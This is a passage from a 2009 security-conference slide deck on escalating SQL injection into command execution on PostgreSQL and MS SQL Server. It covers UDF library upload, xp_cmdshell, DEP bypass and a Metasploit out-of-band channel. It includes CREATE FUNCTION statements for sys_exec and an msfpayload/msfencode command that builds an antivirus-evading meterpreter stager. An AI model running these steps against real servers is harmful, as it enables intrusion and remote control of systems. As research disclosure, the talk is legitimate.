  • 24. UDF injection on PostgreSQL Ported MySQL shared library to PostgreSQL lib_postgresqludf_sys shared library: Approximately 6Kb packed C-Language Functions: sys_eval() and sys_exec() Compliant with PostgreSQL 8.2+ magic block Works on all versions of PostgreSQL from 8.0 Compatible with both Windows or Linux EUSecWest 2009, London (UK) May 28, 2009 24
  • 25. UDF injection on PostgreSQL Via batched queries SQL injection technique: Fingerprint PostgreSQL version Upload the shared library to any file system path where PostgreSQL has rw access CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'libudflenpx.dll', 'sys_exec' LANGUAGE C […]; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'libudflenpx.dll', 'sys_eval' LANGUAGE C […]; EUSecWest 2009, London (UK) May 28, 2009 25
  • 26. Command execution on MS SQL Server xp_cmdshell() stored procedure: Session user must have sysadmin role or be specified as a proxy account Enabled by default on MS SQL Server 2000 or re- enabled via sp_addextendedproc EUSecWest 2009, London (UK) May 28, 2009 26
  • 27. Command execution on MS SQL Server Disabled by default on MS SQL Server 2005 and 2008, it can be: Re-enabled via sp_configure Created from scratch using shell object EUSecWest 2009, London (UK) May 28, 2009 27
  • 28. Out-of-band connection EUSecWest 2009, London (UK) May 28, 2009 28
  • 29. OOB connection definition Contrary to in-band connections (HTTP), it uses an alternative channel to return data This concept can be extended to establish a full- duplex connection between the attacker host and the database server Over this channel the attacker can have a command prompt or a graphical access (VNC) to the DBMS server EUSecWest 2009, London (UK) May 28, 2009 29
  • 30. A good friend: Metasploit Metasploit is a powerful open source exploitation framework Post-exploitation in a SQL injection scenario SQL injection as a stepping stone for OOB channel using Metasploit can be achieved Requires file system write access and command execution via in-band connection – already achieved EUSecWest 2009, London (UK) May 28, 2009 30
  • 31. OOB via payload stager On the attacker box: Forge a stand-alone payload stager with msfpayload Encode it with msfencode to bypass AV Pack it with UPX to speed up the upload via SQL injection if the target OS is Windows EUSecWest 2009, London (UK) May 28, 2009 31
  • 32. OOB via payload stager Example of payload stager creation and encode: $ msfpayload windows/meterpreter/bind_tcp EXITFUNC=process LPORT=31486 R | msfencode –e x86/shikata_ga_nai -t exe -o stagerbvdcp.exe Payload stager compression: $ upx -9 –qq stagerbvdcp.exe The payload stager size is 9728 bytes, as a compressed executable its size is 2560 bytes EUSecWest 2009, London (UK) May 28, 2009 32
  • 33. OOB via payload stager On the attacker box: Run msfcli with multi/handler exploit Via batched queries SQL injection technique: Upload the stand-alone payload stager to the file system temporary folder of the DBMS Execute it via sys_exec() or xp_cmdshell() EUSecWest 2009, London (UK) May 28, 2009 33
  • 34. Stored procedure buffer overflow Discovered by Bernhard Mueller on December 4, 2008 sp_replwritetovarbin heap-based buffer overflow on Microsoft SQL Server 2000 SP4 and Microsoft SQL Server 2005 SP2 Patched by Microsoft on February 10, 2009 – MS09-004 EUSecWest 2009, London (UK) May 28, 2009 34
  • 35. Buffer overflow exploit Session user needs only EXECUTE privilege on the stored procedure – default Guido Landi wrote the first public stand- alone exploit for this vulnerability I added support for multi-stage payload and integrated it in sqlmap EUSecWest 2009, London (UK) May 28, 2009 35
  • 36. Data Execution Prevention DEP is a security feature that prevents code execution in memory pages not marked as executable It can be configured to allow exceptions Default settings allow exceptions: Windows 2003 SP1+: OptOut Windows 2008 SP0+: OptOut EUSecWest 2009, London (UK) May 28, 2009 36
  • 37. Bypass DEP When it is set to OptOut: Exception for sqlservr.exe in the registry Via bat file by calling reg Via reg file by passing it to regedit Via master..xp_regwrite Upload and execute a bat file which executes sc to restart the process EUSecWest 2009, London (UK) May 28, 2009 37
  • 38. Credits Guido Landi Alberto Revelli Alessandro Tanasi Metasploit development team More acknowledgments and references on the white paper, http://tinyurl.com/sqlmap1 EUSecWest 2009, London (UK) May 28, 2009 38
  • 39. Questions? EUSecWest 2009, London (UK) May 28, 2009 39
  • 40. Thanks for your attention! Bernardo Damele Assumpção Guimarães bernardo.damele@gmail.com bda@portcullis-security.com http://bernardodamele.blogspot.com http://sqlmap.sourceforge.net EUSecWest 2009, London (UK) May 28, 2009 40